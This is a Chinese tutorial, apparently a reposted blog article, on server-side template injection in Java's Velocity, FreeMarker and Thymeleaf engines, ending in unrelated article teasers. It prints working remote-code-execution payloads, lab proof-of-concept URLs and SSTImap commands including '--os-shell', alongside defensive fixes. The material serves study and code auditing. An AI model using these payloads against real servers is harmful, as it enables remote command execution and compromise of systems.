Java SSTI服务端模版注入漏洞原理与利用

文章目录

  • 前言
  • Velocity
    • 基础语法
    • 基础示例
    • 命令执行
  • 靶场实践
    • 漏洞代码
    • 漏洞验证
    • 检测工具
  • FreeMarker
    • 基础示例
    • 漏洞示例
    • CMS案例
  • Thymeleaf
    • 基础示例
    • 漏洞示例
    • 安全方案
  • 总结

前言

SSTI(Server Side Template Injection)全称服务端模板注入漏洞,在 Java 中常用的模板引擎有 FreeMarker、Velocity、Thymeleaf、Spring View Manipulation、Pebble、JinJava 及 Hubspot 等等。
imagepng
所谓模版引擎,简单来讲就是利用模版语言的特定语法处理模版中的特定参数,帮助动态渲染数据到 view 层或生成电子邮件、配置文件、HTML 网页等输出文本。模板引擎支持在运行时使用 HTML 页面中的实际值替换变量/占位符,从而让 HTML 页面的设计变得更容易。但是如果没有对用户的输入进行校验,对恶意类进行了调用,就会造成任意代码执行等危害。

常见的可能存在 SSTI 漏洞的模板引擎信息如下:

本文主要学习 Java 项目常见的三大模板引擎(Velocity、FreeMarker、Thymeleaf)的 SSTI 漏洞原理与利用。常见的模板引擎的语法及 payload 总结可参见:PayloadsAllTheThings/Server Side Template Injection。

Velocity

Velocity 是一个基于 Java 的模板引擎,广泛运用于 Java 项目中,Velocity 可用于从模板生成网页、SQL、PostScript 和其他输出。它既可以用作生成源代码和报告的独立实用程序,也可以用作其他系统的集成组件。近年来不少中间件服务器,如 Solr、协同办公软件、confluence、 Jria 等,陆续被爆存在 velocity 模版注入漏洞(CVE-2019-17558、CVE-2019-3394、CVE-2021-43947等)。下文以 Velocity 模板引擎为主,来学习下 SSTI 注入的原理和利用。

基础语法

官方指导文档:https://velocity.apache.org/engine/1.7/user-guide.html。

VTL (Velocity Template Language) 大致语法如下所示:

语法组成详细信息
语句标识符#用来标识 Velocity 的脚本语句,包括 #set、#if 、#else、#end、#foreach、#end、#include、#parse、#macro 等语句。
变量$用来标识一个变量,比如模板文件中为 Hello $a,可以获取通过上下文传递的$a
声明set用于声明 Velocity 脚本变量,变量可以在脚本中声明,比如#set($a ="velocity")
注释单行注释为 ##,多行注释为成对出现的#* ............. *#
变量属性通过.操作符使用变量的内容,比如获取并调用 getClass():#set($e=“e”) $e.getClass()

一个简单的示例:

<html><body>#set( $foo = "Velocity" )Hello $foo World!</body>
</html>

基础示例

创建一个 Maven 项目,在 pom.xml 导入以下依赖:

<!-- https://mvnrepository.com/artifact/org.apache.velocity/velocity -->
<dependency><groupId>org.apache.velocity</groupId><artifactId>velocity</artifactId><version>1.7</version>
</dependency>

在资源文件夹路径下创建如下模板 src/main/resources/test.vm:

Hello World! The first velocity demo.
Name is $name.
Project is $project

然后在主程序编写如下 Velocity 模板引擎的测试代码:

public static void main(String[] args) {VelocityEngine velocityEngine = new VelocityEngine();velocityEngine.setProperty(VelocityEngine.RESOURCE_LOADER, "file");velocityEngine.setProperty(VelocityEngine.FILE_RESOURCE_LOADER_PATH, "src/main/resources");velocityEngine.init();VelocityContext context = new VelocityContext();context.put("name", "Tr0e");context.put("project", "Velocity");Template template = velocityEngine.getTemplate("test.vm");StringWriter sw = new StringWriter();template.merge(context, sw);System.out.println("final output:\n" + sw);
}

解释下上述代码:

  1. 首先通过 VelocityEngine 创建模板引擎,接着velocityEngine.setProperty设置模板路径src/main/resources、加载器类型为 file;
  2. 然后通过velocityEngine.init()完成引擎初始化;
  3. 接着通过 VelocityContext() 创建上下文变量,通过put添加模板中使用的变量到上下文;
  4. 进一步通过getTemplate选择路径中具体的模板文件test.vm,创建 StringWriter 对象存储渲染结果;
  5. 最后将上下文变量传入template.merge进行渲染。

运行结果如下所示:
imagepng
上面的案例为了简单起见,通过控制台输出 Velocity 模板引擎渲染的数据,实际项目中大部分是将渲染结果通过 html 进行前端展示。

命令执行

而如果 Velocity 引擎加载的模板可以被攻击者控制,便可以导致系统存在命令注入的风险。

来实践体验一下,修改模板 test.vm,在文件头部添加内容如下:

#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("gnome-calculator")

其它内容均不变,重新运行 main 程序,可以看到成功执行打开计算器的命令:
imagepng
【More】上面代码等价于,即行换符号可使用分号替代(即使分号直接去掉也 ok):

#set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("gnome-calculator")

【思考】如果上面的缺陷代码,攻击者可以修改的不是整个 template 模板,而是模板中某个变量的值(比如上面例子的 name 变量),能否也实现 RCE?

VelocityContext context = new VelocityContext();
context.put("name", "Tr0e");
context.put("project", "Velocity");

控制某个输出变量可能在实战中遇到的概率比较大,但是本人实践下来并无法实现 RCE,比如替换上面的 name 变量的值 “Tr0e”,修改后的恶意的 Payload 并不会作为执行,而是当作普通字符串赋值给 name 变量。

靶场实践

Java 综合靶场:https://github.com/JoyChou93/java-sec-code。

漏洞代码

https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSTI.java

@RestController
@RequestMapping("/ssti")
public class SSTI {/*** SSTI of Java velocity. The latest Velocity version still has this problem.* Fix method: Avoid to use Velocity.evaluate method.* <p>* http://localhost:8080/ssti/velocity?template=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22open%20-a%20Calculator%22)* Open a calculator in MacOS.** @param template exp*/@GetMapping("/velocity")public void velocity(String template) {Velocity.init();VelocityContext context = new VelocityContext();context.put("author", "Elliot A.");context.put("address", "217 E Broadway");context.put("phone", "555-1337");StringWriter swOut = new StringWriter();Velocity.evaluate(context, swOut, "test", template);}
}

这段漏洞代码的 template 模板完全由外部传递,显然存在 SSTI 漏洞。需要注意的是:这段漏洞代码跟我们上面的示例代码有所差别,此处采用的是调用Velocity.evaluate函数对传递进来的 template 模板进行渲染,上文示例代码则采用的是template.merge函数进行渲染,需要注意这两个 Sink 点是异曲同工的,代码审计过程需要一并关注。

【More】从《CVE-2019-3396 Confluence Velocity SSTI漏洞浅析》文章的分析调试可以看到,CVE-2019-3396 漏洞的代码 sink 点便是template.merge,其中 template 外部攻击者可控,详情请阅读原文。

漏洞验证

POC 如下:

http://192.168.147.197:8080/ssti/velocity?template=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22touch%20/tmp/evil2.txt%22)

imagepng
成功执行命令创建文件:
imagepng

检测工具

SSTI 开源漏洞检测与漏洞利用工具:https://github.com/vladko312/SSTImap,支持的模板引擎:https://github.com/vladko312/SSTImap#supported-template-engines。

λ python sstimap.py -u "http://192.168.147.49:8080/ssti/velocity?template=*" -C "JSESSIONID=39779FDC377151009D7FDA904ABBA200; XSRF-TOKEN=fe364f34-83db-47b5-b856-cad98f05e1e e; remember-me=YWRtaW46MTcxOTYzMDAyNDkzMTowMjdiOTIyZTQzMmY0Y2VjOTQ1Y2QwMGY5YmU3OTY1Mw"

imagepng
支持进行命令交互:
imagepng
可惜这个靶场是个盲注无回显的靶场:

λ python sstimap.py -u "http://192.168.147.49:8080/ssti/velocity?template=123" -C "JSESSIONID=39779FDC3771510 09D7FDA904ABBA200; XSRF-TOKEN=fe364f34-83db-47b5-b856-cad98f05e1ee; remember-me=YWRtaW46MTcxOTYzMDAyNDkzMTowMjdiOTIyZTQzMmY0Y2VjOTQ1Y2QwMGY5YmU3OTY1Mw" --os-shell

imagepng
imagepng

FreeMarker

FreeMarker 中文官网:http://freemarker.foofun.cn/index.html。

基础示例

FreeMarker 是一款 Java 语言编写的模板引擎,它是一种基于模板和程序动态生成的数据,动态生成输出文本(HTML网页,电子邮件,配置文件,源代码等)的通用工具。它不是面向最终用户的,而是一个 Java 类库,是一款程序员可以嵌入他们所开发产品的组件。

FreeMarker 模板文件主要由如下 4 个部分组成:

  1. 文本:包括 HTML 标签与静态文本等静态内容,该部分内容会原样输出;
  2. 注释:使用<#-- ... -->格式做注释,里面内容不会输出;
  3. 插值:即${...}#{...}格式的部分,类似于占位符,将使用数据模型中的部分替代输出;
  4. FTL 指令:即 FreeMarker 指令,全称是:FreeMarker Template Language,和 HTML 标记类似,但名字前加#予以区分,不会输出。

基础示例

在 Maven 项目的 pom.xml 中引入依赖:

<!-- https://mvnrepository.com/artifact/org.freemarker/freemarker -->
<dependency><groupId>org.freemarker</groupId><artifactId>freemarker</artifactId><version>2.3.31</version>
</dependency>

在资源文件夹路径下创建如下src/main/resources/SSTI/hello.ftl模板文件:

<html><head><meta charset="utf-8"><title>Freemarker入门</title></head><body><#--我只是一个注释,我不会有任何输出 -->${name}你好,${message}</body>
</html>

然后在主程序编写如下 FreeMarker 模板引擎的测试代码:

public static void main(String[] args) throws IOException, TemplateException {//1.创建配置类Configuration configuration = new Configuration(Configuration.getVersion());//2.设置模板所在的目录configuration.setDirectoryForTemplateLoading(new File("src/main/resources/SSTI"));//3.设置字符集configuration.setDefaultEncoding("utf-8");//4.加载模板Template template = configuration.getTemplate("hello.ftl");//5.创建数据模型Map map=new HashMap();map.put("name", "Tr0e");map.put("message", "欢迎来到我的博客!");//6.创建Writer对象Writer out =new FileWriter(new File("src/main/resources/hello.html"));//7.输出template.process(map, out);//8.关闭Writer对象out.close();
}

运行程序,可成功借助 FreeMarker 模板引擎渲染、生成 html 文件:
imagepng

漏洞示例

同样的,如果 template 模板攻击者可控,那么便存在 SSTI 注入导致的任意代码执行漏洞。

修改src/main/resources/SSTI/hello.ftl模板文件,如下:

<html>
<head><meta charset="utf-8"><title>Freemarker入门</title>
</head>
<body>
<#--我只是一个注释,我不会有任何输出 -->
${name}你好,${message}
<h3><#assign value="freemarker.template.utility.Execute"?new()>${value("gnome-calculator")}
</h3>
</body>
</html>

程序其它内容均保持不变,重新运行 main,即可发现成功执行打开计算器的命令:
imagepng
综上,如果 FreeMarker 模板引擎的 template 外部可控且未经任何校验,将导致系统存在 RCE 风险。

【漏洞防御】

Configuration configuration = new Configuration();
configuration.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);

设置上述代码会加入一个校验,将freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor等危险 Class 过滤。
imagepng

CMS案例

参见《从ofcms的模板注入漏洞(CVE-2019-9614)浅析SSTI漏洞》,介绍了一个 CMS 采用 FreeMarker 模板引擎导致的 RCE 漏洞。

先登录进 ofcms 的后台 admin 管理界面,然后再模板文件中课编辑 Freemarker 的模板代码,随机挑选一个幸运页面,进行 payload 注入:
imagepng
然后从前台进入该页面(联系我们):
imagepng
即可触发系统命令执行的操作:
imagepng
这个案例在实战中很常见,因为后台管理系统经常会提供各种前台界面模板编辑的功能,此时需留意是否存在 SSTI 漏洞。

Thymeleaf

Thymeleaf 官方指导文档:https://www.thymeleaf.org/documentation.html,中文介绍参考:https://fanlychie.github.io/post/thymeleaf.html。

基础示例

Thymeleaf 是一个服务器端 Java 模板引擎,能够处理 HTML、XML、CSS、JAVASCRIPT 等模板文件。Thymeleaf 模板可以直接当作静态原型来使用,它主要目标是为开发者的开发工作流程带来优雅的自然模板,也是 Java 服务器端 HTML5 开发的理想选择。

Thymeleaf 模板引擎支持多种表达式:

  • 变量表达式:${...}
  • 选择变量表达式:*{...}
  • 链接表达式:@{...}
  • 国际化表达式:#{...}
  • 片段引用表达式:~{...}

直接通过一个示例代码来看看此模板引擎如何使用,Github 有个开源示例项目:spring-view-manipulation。

这是一个 SpringBoot 项目,先看其 pom.xml 引入的 Thymeleaf 依赖:

<dependencies><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId></dependency><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-thymeleaf</artifactId></dependency>
</dependencies>

具体的控制器代码:HelloController.java

@Controller
public class HelloController {Logger log = LoggerFactory.getLogger(HelloController.class);@GetMapping("/")public String index(Model model) {model.addAttribute("message", "happy birthday");return "welcome";}//GET /path?lang=en HTTP/1.1//GET /path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x@GetMapping("/path")public String path(@RequestParam String lang) {return "user/" + lang + "/welcome"; //template path is tainted}//GET /fragment?section=main//GET /fragment?section=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22touch%20executed%22).getInputStream()).next()%7d__::.x@GetMapping("/fragment")public String fragment(@RequestParam String section) {return "welcome :: " + section; //fragment is tainted}@GetMapping("/doc/{document}")public void getDocument(@PathVariable String document) {log.info("Retrieving " + document);//returns void, so view name is taken from URI}@GetMapping("/safe/fragment")@ResponseBodypublic String safeFragment(@RequestParam String section) {return "welcome :: " + section; //FP, as @ResponseBody annotation tells Spring to process the return values as body, instead of view name}@GetMapping("/safe/redirect")public String redirect(@RequestParam String url) {return "redirect:" + url; //FP as redirects are not resolved as expressions}@GetMapping("/safe/doc/{document}")public void getDocument(@PathVariable String document, HttpServletResponse response) {log.info("Retrieving " + document); //FP}
}

提供了 Thymeleaf 引擎的基础应用示例、SSTI 漏洞示例、以及安全修复示例。先来关注基础应用示例:

@GetMapping("/")
public String index(Model model) {model.addAttribute("message", "happy birthday");return "welcome";
}

由于使用了@Controller@GetMapping("/")注解,因此将对根 url (‘/’) 的每个 HTTP GET 请求调用此方法。它没有任何参数,并返回一个静态字符串“welcome",然而 Spring 框架将“welcome”解释为视图名称,并尝试查找位于应用程序资源中的文件“**resources/templates/welcome.html**”。如果找到它,它将呈现模板文件中的视图并返回给用户。

如果正在使用 Thymeleaf 视图引擎(这是 Spring 中最流行的),则模板 welcome.html可能如下所示:

<!DOCTYPE HTML>
<html lang="en" xmlns:th="http://www.thymeleaf.org"><div th:fragment="header"><h3>Spring Boot Web Thymeleaf Example</h3></div><div th:fragment="main"><span th:text="'Hello, ' + ${message}"></span></div>
</html>

运行此 SpringBoot 项目,访问站点根路径,可以看到返回了预期的视图:
imagepng
其中model.addAttribute("message", "happy birthday");设置的 “happy birthday” 字符串成功传递到了 welcome.html 的 message 变量之中,这就是 Thymeleaf 模板引擎发挥的解析和渲染作用。

漏洞示例

从安全角度来看,可能会出现模板名称或片段与不受信任的数据连接的情况。例如,使用 request 参数:

//GET /path?lang=en HTTP/1.1
//GET /path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x
@GetMapping("/path")
public String path(@RequestParam String lang) {return "user/" + lang + "/welcome"; //template path is tainted
}

Payload 已经在注释中提供了:

/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x

成功执行命令:
imagepng
imagepng
此路由正常的业务则是访问:
imagepng
【注意】上面可以看到当用户控制的数据 (URI) 直接进入视图名称并解析为表达式时,Thymeleaf 模板引擎也变得容易受到攻击。 故 Thymeleaf 模板引擎 SSTI 注入漏洞存在一个与前面 Velocity、FreeMarker 引擎不同的利用点:在模板名称受外部控制的情况下,也可能导致 Thymeleaf SSTI 注入。

安全方案

Safe case: ResponseBody

在某些情况下,控制器会返回使用受控值,但它们不容易受到视图名称操作的影响。例如,当控制器带有 @ResponseBody 注释时:

@GetMapping("/safe/fragment")
@ResponseBody
public String safeFragment(@RequestParam String section) {return "welcome :: " + section; //FP, as @ResponseBody annotation tells Spring to process the return values as body, instead of view name
}

在这种情况下,Spring Framework 不会将其解释为视图名称,而只是在 HTTP 响应中返回此字符串。这同样适用于类上的@RestController,因为它在内部继承@ResponseBody

实践一下:
imagepng
imagepng

Safe case: Response is already processed

@GetMapping("/safe/doc/{document}")
public void getDocument(@PathVariable String document, HttpServletResponse response) {log.info("Retrieving " + document); //FP
}

这种情况与前面的易受攻击示例之一非常相似,但由于控制器在参数中具有 HttpServletResponse,Spring 认为它已经处理了 HTTP 响应,因此视图名称解析不会发生。此检查存在于 ServletResponseMethodArgumentResolver 类中。

Safe case: A redirect

@GetMapping("/safe/redirect")
public String redirect(@RequestParam String url) {return "redirect:" + url; //CWE-601, as we can control the hostname in redirect
}

当视图名称被预置时 “redirect:” ,逻辑也不同。在这种情况下,Spring 不再使用 Spring ThymeleafView,而是使用 RedirectView,它不执行表达式计算。此示例仍然存在开放重定向漏洞,但它肯定不像通过表达式计算的 RCE 那样危险。
imagepng
imagepng

总结

本文通过具体的漏洞实例代码,分析、总结了 Java 项目常见的三大模板引擎(Velocity、FreeMarker、Thymeleaf)的 SSTI 漏洞原理与利用方法。虽然相应的模板引擎 SSTI 注入漏洞基本上都拥有 CVE 编号和安全版本,当时在开发人员错误引入存在漏洞缺陷的模板引擎版本的情况下,目标系统依旧存在 RCE 风险。其它模板引擎的 SSTI 漏洞利用基本上同理,实战遇到的话,查询官方语法指导文档后现学现卖即可。

本文参考文章如下:

  1. javaweb代码审计学习(SSTI漏洞);
  2. Java模版引擎注入(SSTI)漏洞研究 - 郑瀚Andrew ;
  3. CVE-2019-3396 Confluence Velocity SSTI漏洞浅析;
  4. 服务器端模版注入SSTI分析与归纳 - 跳跳糖;
  5. 从ofcms的模板注入漏洞(CVE-2019-9614)浅析SSTI漏洞;
  6. https://github.com/veracode-research/spring-view-manipulation。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/27813.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

挑战5分钟内基于Springboot+SpringMVC+Mybatis-plus快速构建web后端三层架构

目标 在清晨的代码编辑器上&#xff0c;一场新的挑战即将开始。程序员们肃立于安静的办公室&#xff0c;眼神专注地盯着屏幕&#xff0c;等待着编译器的一声提示。 随着编译器输出的激动人心的"start!"的提示&#xff0c;战斗的序幕拉开了。Bug如潮水般涌来&#x…

python保存文件后打不开的原因是什么

引入数据集&#xff0c;奇怪的是怎么也打不开&#xff0c;显示不存在这个文件&#xff1a; 但是&#xff0c;我将文件改个名字&#xff0c;就打开了&#xff0c;难道csv的文件命名必须有一定合法性&#xff1f; import pandas users pandas.read_csv("H:\python\data an…

正运动邀您共聚2024深圳激光展,助力激光加工与智能制造!

■展会名称 2024深圳激光展 ■展会日期 2024年6月19日 - 21日 ■展馆地点 深圳国际会展中心&#xff08;新馆&#xff09; ■展位号 9H - D101 6月19至21日&#xff0c;深圳激光展将在中国深圳国际会展中心(新馆)举办。 激光加工在消费电子、光伏锂电新能源、半导体等行…

树莓派4B_OpenCv学习笔记9:图片的腐蚀与膨胀

今日继续学习树莓派4B 4G&#xff1a;&#xff08;Raspberry Pi&#xff0c;简称RPi或RasPi&#xff09; 本人所用树莓派4B 装载的系统与版本如下: 版本可用命令 (lsb_release -a) 查询: Opencv 版本是4.5.1&#xff1a; 图像的膨胀与腐蚀一般用于灰度图或者二值图,今日便来学习…

湘潭大学软件工程数据库2(题型,复习资源和计划)

文章目录 选择题关系范式事务分析E-R 图sql作业题答案链接&#xff08;仅限有官方答案的版本&#xff09;结语 现在实验全部做完了&#xff0c;实验和作业占比是百分之 40 &#xff0c;通过上图可以看出来&#xff0c;重点是 sql 语言 所以接下来主要就是学习 sql 语句怎么书写…

软考 系统架构设计师系列知识点之杂项集萃(36)

接前一篇文章&#xff1a;软考 系统架构设计师系列知识点之杂项集萃&#xff08;35&#xff09; 第58题 对软件体系结构风格的研究和实践促进了对设计的复用。Garlan和Shaw对经典体系结构风格进行了分类。其中&#xff0c;&#xff08; &#xff09;属于数据流体系结构风格&am…

孝子黄香与颍川□董超

“香九龄&#xff0c;能温席&#xff0c;孝于亲&#xff0c;所当执。”家喻户晓、妇孺皆知的《三字经》让孝子黄香名扬千秋&#xff0c;成为“二十四孝”中闻名于世的“扇枕温衾”故事的主角。 黄香&#xff08;公元68—122年&#xff09;&#xff0c;字文强&#xff0c;东汉江…

【Apache Doris】Compaction 原理 | 实践全析

【Apache Doris】Compaction 原理 | 实践全析 一、Compaction 前文概要二、Compaction 版本策略三、Compaction 类型说明四、Compaction 工程实现五、Compaction 生产实践 作者 &#xff5c; 俞剑波 一、Compaction 前文概要 LSM-Tree 简介 LSM-Tree&#xff08; Log Structu…

【Vue】Pinia管理用户数据

Pinia管理用户数据 基本思想&#xff1a;Pinia负责用户数据相关的state和action&#xff0c;组件中只负责触发action函数并传递参数 步骤1&#xff1a;创建userStore 1-创建store/userStore.js import { loginAPI } from /apis/user export const useUserStore defineStore(…

大众点评js逆向过程(未完)

1、这里mtgsig已经被拼到url中 2、进入后mtgsig已经计算完&#xff0c; ir he(this[b(4326)], !1), 就是加密函数 32 次 796 1143 ->508 -> 754 -> 1151 160 注意IC这个数组 控制流平坦化进行AST 解析 AST网址

uniapp开发微信小程序问题汇总

1. 自定义校验规则validateFunction失效 2. 微信小程序不支持<Br>换行 在 <text></text> 标签中使用\n(必须 text 标签&#xff0c;view 标签无效 ) 3. 微信小程序无法使用本地静态资源图片的解决方法 (1) 将图片上传到服务器&#xff0c;小程序访问该图片…

MySQL基础——函数和约束

目录 1函数 1.1字符串函数 1.2数值函数 1.3日期函数 1.4流程函数 2约束 2.1约束概述和演示 2.2外键约束&#xff08;表连接键&#xff09; 1函数 函数是指一段可以直接被另一段程序调用的程序或代码。 1.1字符串函数 MySQL中内置了很多字符串函数&#xff0c;常用的…

WPF界面设计

1、使用C#-WPF实现抽屉效果-炫酷漂亮的侧边栏导航菜单-SplitViewMD主题重绘原生控件的美观效果-提供源码Demo下载 码源地址&#xff1a;https://download.csdn.net/download/Prince999999/89424685 2、使用C#-WPF实现抽屉效果-菜单导航功能实现&#xff0c;常规的管理系统应该…

JVM 一些常见问题QA

GC Roots 虚拟机栈中引用的对象&#xff1b; 本地方法栈中JNI引用的对象&#xff1b; 方法区中类静态变量引用的对象&#xff1b; 方法区中常量引用的对象&#xff1b; Full GC是Minor GCMajor GC吗&#xff1f; Minor GC&#xff1a;回收年轻代&#xff1b; Major GC&…

【强化学习】gymnasium自定义环境并封装学习笔记

【强化学习】gymnasium自定义环境并封装学习笔记 gym与gymnasium简介gymgymnasium gymnasium的基本使用方法使用gymnasium封装自定义环境官方示例及代码编写环境文件__init__()方法reset()方法step()方法render()方法close()方法 注册环境创建包 Package&#xff08;最后一步&a…

Ubuntu启动之引导内核阶段

按照Linux系统从打开电源到进入系统的顺序&#xff0c;整个启动过程可分为以下阶段。 BIOS阶段&#xff0c;Ubuntu启动之BIOS阶段-CSDN博客引导程序阶段&#xff0c;Ubuntu启动之引导程序阶段-CSDN博客内核阶段&#xff0c;加载内核、初始化。进入系统&#xff0c;显示登录界面…

Tomcat基础详解

第一篇&#xff1a;Tomcat基础篇 lecture&#xff1a;邓澎波 一、构建Tomcat源码环境 工欲善其事必先利其器&#xff0c;为了学好Tomcat源码&#xff0c;我们需要先在本地构建一个Tomcat的运行环境。 1.源码环境下载 源码有两种下载方式&#xff1a; 1.1 官网下载 https://…

时序预测 | MATLAB实现TCN-Attention自注意力机制结合时间卷积神经网络时间序列预测

时序预测 | MATLAB实现TCN-Attention自注意力机制结合时间卷积神经网络时间序列预测 目录 时序预测 | MATLAB实现TCN-Attention自注意力机制结合时间卷积神经网络时间序列预测预测效果基本介绍程序设计参考资料 预测效果 基本介绍 1.MATLAB实现TCN-Attention自注意力机制结合时…

拥抱数字世界|AI在娱乐行业的应用,娱乐新纪元已到来

在蓬勃发展的全球化趋势下&#xff0c;越来越多的厂商正在批量涌入娱乐赛道&#xff0c;期待能创造新的增长奇迹。随着科技的不断发展&#xff0c;人工智能技术正日益深入各行各业&#xff0c;其中媒体和娱乐行业更是迎来了一场革命性的变革。在媒体和娱乐领域展现出了巨大的潜…

模型 商业画布

说明&#xff1a;系列文章 分享 模型&#xff0c;了解更多&#x1f449; 模型_思维模型目录。九块拼图&#xff0c;构建商业模式。 1 商业画布的应用 1.1 商业画布用于明确“GreenCycle”初创企业&#xff08;虚构&#xff09;的商业模式 假设有一家名为“GreenCycle”的初创…